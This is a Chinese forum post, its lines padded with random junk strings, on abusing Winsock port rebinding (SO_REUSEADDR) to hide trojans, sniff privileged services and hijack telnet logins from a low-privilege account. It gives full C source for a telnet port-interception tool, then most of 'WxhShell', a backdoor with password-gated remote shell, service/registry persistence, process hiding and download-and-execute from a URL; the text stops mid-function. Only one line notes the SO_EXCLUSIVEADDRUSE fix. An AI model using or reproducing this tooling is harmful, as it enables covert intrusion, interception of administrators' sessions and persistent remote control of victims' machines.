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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D/-$~u_o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); x#_0 6  
s5'So@L8  
  saddr.sin_family = AF_INET; e[a?5,s2  
:F`yAB3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); WMLsKoby  
xK3}z N$T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R87e"m/C%  
B> LL *  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  9> k-";  
fer~NlX  
  这意味着什么?意味着可以进行如下的攻击: o7W1sD1O  
=^LX,!2zp{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >AT T<U=  
V;#bcr=Z<J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sjj*7i*  
e2PM^1{_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `vPc&.-K  
u9}k^W)E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'P^6H$0  
%>G(2)Fb\\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;,yjkD[mWE  
_ X* A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L'?0*t  
R2[-Q"|Ra  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u \zP`Y  
.j)f'<;%  
  #include nmZJ%n  
  #include %!i|"FNc  
  #include $h( B2  
  #include    C{8d^SCA"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1k8zAtuj  
  int main() 6X@$xe847[  
  { h#>%\Pvt;  
  WORD wVersionRequested; <) ` ?s  
  DWORD ret; G*;6cV19  
  WSADATA wsaData; eJ23$VM+9  
  BOOL val; Cg! ]x o  
  SOCKADDR_IN saddr; (yx9ox@rL  
  SOCKADDR_IN scaddr; |NZVm}T  
  int err; XeT{y]lkd  
  SOCKET s; &m>sGCZ  
  SOCKET sc; 3 O)^Hq+9  
  int caddsize; nBA0LIb  
  HANDLE mt; ?{ 0MF  
  DWORD tid;   WTcrfs)T  
  wVersionRequested = MAKEWORD( 2, 2 ); hvS4"% \  
  err = WSAStartup( wVersionRequested, &wsaData ); Zh]FL8[ nc  
  if ( err != 0 ) { (haYY]W\  
  printf("error!WSAStartup failed!\n"); U<*8KiI  
  return -1; b&V}&9'[M;  
  } I;<aJo6Yl  
  saddr.sin_family = AF_INET; =R  <X!@  
   /T_ G9zc  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `IQ76Xl  
LZB=vc|3/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); O*ql!9}E{  
  saddr.sin_port = htons(23); XOe8(cXa9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C;6Nu W  
  { yLI)bn!"  
  printf("error!socket failed!\n"); I,@f*o  
  return -1; :6*FnKD  
  } tJQFhY  
  val = TRUE; M;{btu^a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 jxU z-U-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) l?N|Gj;ZFZ  
  { A#y,B  
  printf("error!setsockopt failed!\n"); ;L gxL Qy;  
  return -1; [Ie;Jd>gG  
  } J}9 I5O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |aT&rpt   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A80r@)i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tX$ v)O|  
#0WGSIht<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Jmp%%^  
  { /*+P}__k  
  ret=GetLastError(); _U"9#<  
  printf("error!bind failed!\n"); Whd2mKwiO  
  return -1; H7 xyK  
  } uq>\pO&P  
  listen(s,2); /8(\AuDT  
  while(1) [a<u cJ  
  { &C.{7ZNt  
  caddsize = sizeof(scaddr); )r)3.|wJm  
  //接受连接请求 oA ;sP'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0 2lI-xHe  
  if(sc!=INVALID_SOCKET) Vk/!_)  
  { 1FCHqqZ=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 'V=i;2mB*  
  if(mt==NULL) :q.g#:1s  
  { l1&NU'WW  
  printf("Thread Creat Failed!\n"); ;w/|5 ;{A;  
  break; NT^m.o~4  
  } ._uXK[c7P  
  } "lFS{7  
  CloseHandle(mt); ^11y8[[  
  } _dgS@n;6  
  closesocket(s); 5ir[}I^z  
  WSACleanup(); P,|%7'?Y  
  return 0; 8+>r!)Q+  
  }   5u<F0$qHc  
  DWORD WINAPI ClientThread(LPVOID lpParam) [=})^t?8  
  { xb2xl.2x!  
  SOCKET ss = (SOCKET)lpParam; KkIxtFM  
  SOCKET sc; g/o@,_  
  unsigned char buf[4096]; sUc_)  
  SOCKADDR_IN saddr; UC!?.  
  long num; < ] ~FX 25  
  DWORD val; GI~JIXHTQ  
  DWORD ret; yZ_6yJw3}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }, < dGmkx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o1m+4.-  
  saddr.sin_family = AF_INET; 5cv&`h8uo_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6%hr]>L  
  saddr.sin_port = htons(23); ]Kutuf$t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y;X_E7U  
  { m5wfQ_}}ss  
  printf("error!socket failed!\n"); yh  
  return -1; H+ P&} 3  
  } W:s>?(6?  
  val = 100; ~]MACG:'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &%@b;)]J  
  { B#>7;xy>  
  ret = GetLastError(); ;.O#|Z[  
  return -1; CNo'qlvF5N  
  } qT<OiIMj^  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B<99-7x3  
  { kq{PM-]l  
  ret = GetLastError(); x6i7x"  
  return -1; M+7&kt0;  
  } 7Rba@ cs9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Xjy5Yj  
  { U?bQBHIC  
  printf("error!socket connect failed!\n"); PQu_]cXI  
  closesocket(sc); Ix-bJE6+I,  
  closesocket(ss); +b =X~>vZ  
  return -1; eucacXiZ  
  } N(6Q`zs  
  while(1) TpB4VNi/<  
  { #2/2X v  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zS9HR1  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `b11,lg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !mjrI "_  
  num = recv(ss,buf,4096,0); Jv,*rQH  
  if(num>0) ^\ N@qL  
  send(sc,buf,num,0); 9+"R}Nxv^  
  else if(num==0) ~ `xaBz0q  
  break; }T)0:DF1,  
  num = recv(sc,buf,4096,0); ]^ e4coC  
  if(num>0) c Y C@@?  
  send(ss,buf,num,0); U<YP@?w  
  else if(num==0) \aEarIX#*  
  break; n(}W[bZ4  
  } oMb&a0-7u  
  closesocket(ss); ^=CO gO]e  
  closesocket(sc); BF="gZoU<  
  return 0 ; tdCD!rV`{  
  } TFQX}kr]  
E*sQ|" g  
jc$gy`,F  
========================================================== "^Ax}Jr  
'lsG?  
下边附上一个代码,,WXhSHELL !OCb^y  
wWI1%#__|o  
========================================================== kH.W17D~  
LLMom.  
#include "stdafx.h" !kTI@103Wd  
|7pi9  
#include <stdio.h> w1Xe9'$Qb  
#include <string.h> wNfWHaH" m  
#include <windows.h> e5s=@-[  
#include <winsock2.h> W$>AK_Y}  
#include <winsvc.h> B24,;2J  
#include <urlmon.h> xJ);P.  
7;8#iS/  
#pragma comment (lib, "Ws2_32.lib") `|rr<Tsy\  
#pragma comment (lib, "urlmon.lib") [U^@Bkh  
pzQWr*5a  
#define MAX_USER   100 // 最大客户端连接数 kKFhbHUZa  
#define BUF_SOCK   200 // sock buffer (}4]U=/nV  
#define KEY_BUFF   255 // 输入 buffer yUyx&Y/  
WZ A8D0[  
#define REBOOT     0   // 重启 [X\<C '<  
#define SHUTDOWN   1   // 关机 ~+~^c|  
f\|R<3 L  
#define DEF_PORT   5000 // 监听端口 \FL`b{!+ N  
gG,"wzj  
#define REG_LEN     16   // 注册表键长度 ndXUR4  
#define SVC_LEN     80   // NT服务名长度 % >mB"Y,  
[PhT zXt  
// 从dll定义API ZLS\K/F>>=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =o+js;3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e8Y;~OAj[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <hv {,1p-r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aANzL  
)HL[_WfY  
// wxhshell配置信息 Mb1K:U  
struct WSCFG { 0dKv%X#\  
  int ws_port;         // 监听端口 7`G FtX}  
  char ws_passstr[REG_LEN]; // 口令 0sR+@\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6p}dl>T_y  
  char ws_regname[REG_LEN]; // 注册表键名 8rNRQOXOa  
  char ws_svcname[REG_LEN]; // 服务名 :&'[#%h8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <CIy|&J6  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ?O|CY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B7u4e8(E*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kWKAtv5@w  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" hgmo b"o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u]uUm1Er  
A4mnm6Tf  
}; mR1|8H!f  
AB0>|.  
// default Wxhshell configuration +*')0I  
struct WSCFG wscfg={DEF_PORT, I&s!}$cD  
    "xuhuanlingzhe", d>YX18'<Q  
    1, px~:'U  
    "Wxhshell", sq;nUA=  
    "Wxhshell", 4r- CF#o  
            "WxhShell Service", Es^=&2 ''  
    "Wrsky Windows CmdShell Service", Q\qI+F2?  
    "Please Input Your Password: ", {*NM~yQ  
  1, upc-Qvk  
  "http://www.wrsky.com/wxhshell.exe", +W}dO#  
  "Wxhshell.exe" dSkx*#FEE  
    }; 9N*!C{VW  
X[;-SXq  
// 消息定义模块 d+iV19#i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +)06*"I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ./r#\X)dc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~1g)4g~  
char *msg_ws_ext="\n\rExit."; /f Ui2[y  
char *msg_ws_end="\n\rQuit."; SbX#$; ks~  
char *msg_ws_boot="\n\rReboot..."; P6 ~& ,a  
char *msg_ws_poff="\n\rShutdown..."; 5W4Tp% Lda  
char *msg_ws_down="\n\rSave to "; }n;.E&<[  
Pg%k>~i  
char *msg_ws_err="\n\rErr!"; 6jpfo'uB$  
char *msg_ws_ok="\n\rOK!"; +j!$88%Z{  
$Ao iH{f  
char ExeFile[MAX_PATH]; &XF@Dvv  
int nUser = 0; e'MLLC [  
HANDLE handles[MAX_USER]; 0\DlzIO  
int OsIsNt; yq]/r=e!k  
g5>c-i  
SERVICE_STATUS       serviceStatus; 47yzI-1H+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <)4>"SN&^  
mgL{t"$c  
// 函数声明 #P/}'rdt  
int Install(void); $>6Kn`UX  
int Uninstall(void); ll#_v^  
int DownloadFile(char *sURL, SOCKET wsh); Nxr%xTD  
int Boot(int flag); {Hr P;)  
void HideProc(void); 5y8ajae:  
int GetOsVer(void); {K ,-fbE  
int Wxhshell(SOCKET wsl); *T:gx:Sg/  
void TalkWithClient(void *cs); -_p@I+B  
int CmdShell(SOCKET sock); = t!$72g\  
int StartFromService(void); +T*]!9%<`:  
int StartWxhshell(LPSTR lpCmdLine); &$<7]a\dM  
rd hM#?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wVac6q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QKt+Orz  
=Dc9|WuHN  
// 数据结构和表定义 *If ]f0?%  
SERVICE_TABLE_ENTRY DispatchTable[] = vWq/A.  
{ g(-}M`  
{wscfg.ws_svcname, NTServiceMain}, s& Lyg>>`  
{NULL, NULL} w7"&\8a  
}; $geDB~ 2>  
Q~#[_Upkc  
// 自我安装 wU(N<9  
int Install(void) je`w$ ^w  
{ &br_opNi  
  char svExeFile[MAX_PATH]; 2 i:tPe&  
  HKEY key; geJO#;  
  strcpy(svExeFile,ExeFile); :(Uz`k7   
b+!I_g4P  
// 如果是win9x系统,修改注册表设为自启动 <cNg_ZZ;8  
if(!OsIsNt) { S<=|i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rG"QK!R5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iD`>Bt7gD  
  RegCloseKey(key); #1VejeTi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jB-wJNP/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v3Xt<I=4y  
  RegCloseKey(key); C#@>osC  
  return 0; 5nh:S0M6V  
    } -gR }^D   
  } qytH<UB  
} z3|)WS^  
else { j`LvS  
{q^?Rw  
// 如果是NT以上系统,安装为系统服务 \rPT7\ZA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !dZpV~g0  
if (schSCManager!=0) A;e0h)F$-  
{ "Qfw)!#  
  SC_HANDLE schService = CreateService  vgbk {  
  ( 6,:`esl  
  schSCManager, X0+M|8:   
  wscfg.ws_svcname, >7j(V`i"y  
  wscfg.ws_svcdisp, ow@1.5WL+  
  SERVICE_ALL_ACCESS, bc ;(2D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >^(Q4eU7!  
  SERVICE_AUTO_START, 3E`poE  
  SERVICE_ERROR_NORMAL, yMCd5%=M\  
  svExeFile, a]nyZdt`  
  NULL, 0$e]?]X6  
  NULL, y+K21(z.  
  NULL, &XH{,fv$  
  NULL, S)~Riuy$  
  NULL ;VI W/  
  ); N%" /mcO  
  if (schService!=0) Mg^.~8\d e  
  { .BqS E   
  CloseServiceHandle(schService);  {xS\CC(g  
  CloseServiceHandle(schSCManager); ~ @Au<   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); n3LCQ:]T f  
  strcat(svExeFile,wscfg.ws_svcname); xK;WJm"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bWOn`#+&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =sa bJsgL  
  RegCloseKey(key); dt=5 Pnf[y  
  return 0; mbCY\vEl  
    } 2%oo.?!R  
  } m(c5g[6nO  
  CloseServiceHandle(schSCManager); pGhA  
} 3t^r;b  
} L?~-<k  
j_Z"=  
return 1; ^d[ s*,i?  
} p@x1B &Z  
6D n[9V  
// 自我卸载 +(9qAB7  
int Uninstall(void) 2 bQC 2  
{ ecl$z6'c  
  HKEY key; IsjD-t  
\/ 8 V|E  
if(!OsIsNt) { DGllJ_/Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %U$PcHOo  
  RegDeleteValue(key,wscfg.ws_regname); 2gC.Z:}  
  RegCloseKey(key); tE>hj:p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]/C1pG*o  
  RegDeleteValue(key,wscfg.ws_regname); yg-uL48q  
  RegCloseKey(key); `fUem,$)1F  
  return 0; <D!\"C  
  } )s';m$  
} 9azk(OL6  
} wtL_c  
else { cr_Q,*  
rBUdHd9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Ikbz3]F^V  
if (schSCManager!=0) =W Q_5}  
{ 0o+2]`q)Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); USrg,A  
  if (schService!=0) QA3q9,C"  
  { 3%$nRP X  
  if(DeleteService(schService)!=0) { 0W1=9+c|X  
  CloseServiceHandle(schService); 5lMm8<v  
  CloseServiceHandle(schSCManager); 2rK<UPIq  
  return 0; SKf[&eP,G  
  } _Xn[G>1  
  CloseServiceHandle(schService); d;kdw  
  } Y)=89s&t  
  CloseServiceHandle(schSCManager); E'J| p7  
} !SFF 79$c  
} R;*3";+v|:  
N>$Nw<wV  
return 1; t6)wR  
} ,Uh7Q-vd  
/o19/Pvwm  
// 从指定url下载文件 Kpo{:a  
int DownloadFile(char *sURL, SOCKET wsh) =os%22*  
{ UEvRK?mm=  
  HRESULT hr; 9V%s1@K  
char seps[]= "/"; Ba],ONM4k  
char *token; ]zza/O;31(  
char *file; oKJj?%dHK9  
char myURL[MAX_PATH]; PB :Lj  
char myFILE[MAX_PATH]; e Ert_@}  
K 8gd?88  
strcpy(myURL,sURL); 5r:SBt|/  
  token=strtok(myURL,seps); 9 OC!\' 8  
  while(token!=NULL) 4?AggqW  
  { b]NSCu*)s  
    file=token; G^]7!:0  
  token=strtok(NULL,seps); jI8qiZ);~  
  } 45hjN6   
Bk~lE]Q3c7  
GetCurrentDirectory(MAX_PATH,myFILE); ,\|W,N}~  
strcat(myFILE, "\\"); 9W{=6D86e  
strcat(myFILE, file); }lk_Oe1  
  send(wsh,myFILE,strlen(myFILE),0); 8W]6/st?]  
send(wsh,"...",3,0); 0r?}LWjf  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *\Y \$w  
  if(hr==S_OK) Qn77ZpL:LJ  
return 0; rmW,#  
else ;-d }\f ,  
return 1; CE$c/d[N.  
wPn#>\/L  
} - T,;Fr'  
/h ef3DV5I  
// 系统电源模块 XM$HHk}L;  
int Boot(int flag) Q`qHzb~%  
{ O6^>L0'  
  HANDLE hToken; D-/K'|b  
  TOKEN_PRIVILEGES tkp; P8Bv3  
pr8eRV!x  
  if(OsIsNt) { dooS|Mq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2z7+@!w/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); );wSay>%(  
    tkp.PrivilegeCount = 1; ^1vh5D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1@ )8E`u  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M%dXy^e  
if(flag==REBOOT) { JRkC~fv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b<de)MG  
  return 0; ?q(7avS9  
} BpL,<r,  
else { t%e}'?#^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2<Tbd"x?  
  return 0; gv}Esps R  
} z O  
  } 8I)66  
  else { I_('Mr)  
if(flag==REBOOT) { 1f]04TI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x1\,WOrmK  
  return 0; $!L'ZO1_r  
} ] ZGP  
else { bu[v[U4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kzG m D i  
  return 0; + RX{  
} TKpka]nJ  
} njveZav  
r^mP'#  
return 1; 8,pnm  
} hBf0kl  
l+'@y (}Q  
// win9x进程隐藏模块 K14e"w%6rs  
void HideProc(void) .(OFYK<  
{ Gpws_ jw  
QCFLi n+r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2r2qZ#I}  
  if ( hKernel != NULL ) VLuhURI)  
  { >(s)S[\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 31 \l0Jg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :b[ [}'  
    FreeLibrary(hKernel); O(8Px  
  } 5:%xuJD  
37DyDzW)'  
return; 5A,@$yp+  
} sas}k7m"  
7*8R:X+^r  
// 获取操作系统版本 m$ZPQ0X  
int GetOsVer(void) @U CGsw  
{ gwDQ@  
  OSVERSIONINFO winfo; TT3GFP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \kU0D  
  GetVersionEx(&winfo); /s"mqBXCG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;Bk?,g  
  return 1; x2 *l5t  
  else I@a y&NNh  
  return 0; .5*h']iFr1  
} =  *7K_M&  
)mw#MTv<[  
// 客户端句柄模块 +:3K?G -  
int Wxhshell(SOCKET wsl) ct+ ;W  
{ g5X;]%:  
  SOCKET wsh; FS7 _ldD  
  struct sockaddr_in client; >J+'hm@  
  DWORD myID; C?jk#T  
;/w-7O:  
  while(nUser<MAX_USER) Q H:k5V~  
{ <rZ( B>$  
  int nSize=sizeof(client); K' xN>qc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &~ of]A  
  if(wsh==INVALID_SOCKET) return 1; O4w6\y3U  
Umx~!YL!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hh/C{ l  
if(handles[nUser]==0) kH'LG!O  
  closesocket(wsh); I8;xuutc  
else b(JQ>,hX  
  nUser++; pvdM3+6  
  } !"~x.LX \  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (jbHV.]P9  
`yYoVu*  
  return 0; U.]5UP:a  
} JDcc`&`M  
e 4-  
// 关闭 socket NUBf>~_}  
void CloseIt(SOCKET wsh) -j1?l Y  
{ Vmq:As^a  
closesocket(wsh); l"70|~  
nUser--; mw2/jA7  
ExitThread(0); ]X y2km]  
} q1!45a  
{cmY`to  
// 客户端请求句柄 <d89eV+  
void TalkWithClient(void *cs) ~9%L)nC2'  
{ )Il) H  
28,Hd!{  
  SOCKET wsh=(SOCKET)cs; VfWU-lJ  
  char pwd[SVC_LEN]; /J''`Tf  
  char cmd[KEY_BUFF]; LpCJfQ  
char chr[1]; KE>|,U r  
int i,j; v_M-:e3`  
xQLVFgd  
  while (nUser < MAX_USER) { @r7ekyO8)  
Vwxb6,}Z  
if(wscfg.ws_passstr) { P2la/jN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bMe/jQuL.$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &QHZ]2%U  
  //ZeroMemory(pwd,KEY_BUFF); gR7in!8  
      i=0; D%[yAr;r  
  while(i<SVC_LEN) { mX8k4$z  
^n Gj 7b  
  // 设置超时 Hw"Lo Vh  
  fd_set FdRead; r<< ]41  
  struct timeval TimeOut; t&5N{C:  
  FD_ZERO(&FdRead); O5X@'.#rU  
  FD_SET(wsh,&FdRead); in}d(%3h  
  TimeOut.tv_sec=8; ?|4Y(0N  
  TimeOut.tv_usec=0; %gBulvg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w[ )97d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e_U1}{=t  
dsJMhB_41U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 90g=&O5@O  
  pwd=chr[0]; fcaUj9qN  
  if(chr[0]==0xd || chr[0]==0xa) { 4FwtC"G3  
  pwd=0; `Vph=`0  
  break; h 8Shf"  
  } g$X4ZRSel  
  i++; b&wyp@k  
    } KZeaM  
'PO+P~|oa&  
  // 如果是非法用户,关闭 socket }4$k-,1S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'Cr2& dy  
} w3hG\2)[HS  
dgbqMu"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -hy`Np  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %=w@c  
o2'^MxKb T  
while(1) { {"rYlN7,  
7-#R[8S  
  ZeroMemory(cmd,KEY_BUFF); IOL5p*:gz  
79HKfG2+KB  
      // 自动支持客户端 telnet标准   K/T4T\  
  j=0; dZ6\2ok+  
  while(j<KEY_BUFF) { +K2p2Dw(k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d2\#Zlu<  
  cmd[j]=chr[0]; 76IjM4&a  
  if(chr[0]==0xa || chr[0]==0xd) { Nqy)jfyex  
  cmd[j]=0; le7!:4/8  
  break; !+R_Z#gB  
  } r<)>k.] !  
  j++; ][D/=-  
    } V^S` d8?  
G q&[T:  
  // 下载文件 |$^a"Yd`9  
  if(strstr(cmd,"http://")) { BYuoeN!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^RIDC/B=V6  
  if(DownloadFile(cmd,wsh)) s?Wkh`b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rjaG{ i  
  else OYYk[r  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zqi;by%  
  } K^6fg,&  
  else { }c]u'a!4  
pnTuYT^%)  
    switch(cmd[0]) { ?z{Z!Bt?=)  
  "a T "o  
  // 帮助 tKP zM  
  case '?': { oS0rP'V^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _6Z}_SiOl  
    break; P#j>hS  
  } o],z/MPL  
  // 安装 c.?+rcnq  
  case 'i': { >Hd Pcsl L  
    if(Install()) sjW;Nsp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sUe<21:  
    else ]r&dWF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); paYvYK-K?  
    break; j&y>?Y&Sb  
    } wJ>.I<F6B  
  // 卸载 ^J-"8%  
  case 'r': { PSB@yV <  
    if(Uninstall()) =@\Li)Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nqv#?>Z^OT  
    else e0e3b]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CqAv^n7 }  
    break; `mp3ORR;$  
    } Y I?4e7Z+  
  // 显示 wxhshell 所在路径 dN)@/R^E;  
  case 'p': { :c/](M  
    char svExeFile[MAX_PATH]; du5|/  
    strcpy(svExeFile,"\n\r"); u27*-X 5  
      strcat(svExeFile,ExeFile); BpR#3CfW  
        send(wsh,svExeFile,strlen(svExeFile),0); )4O* D92  
    break; <#ZDA/G(  
    } &Jf67\N  
  // 重启 \L5h&  
  case 'b': { XEpwk,8*g  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Cn"L*\o  
    if(Boot(REBOOT)) k2Dq~zn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ C"w 1}  
    else { R=m9[TgBm  
    closesocket(wsh); ~i5t1  
    ExitThread(0); =N?K)QD`  
    } ;n2b$MB?nM  
    break; tj< 0q<is  
    } p+.{"%  
  // 关机 6>e YG <y{  
  case 'd': { \!J9|  
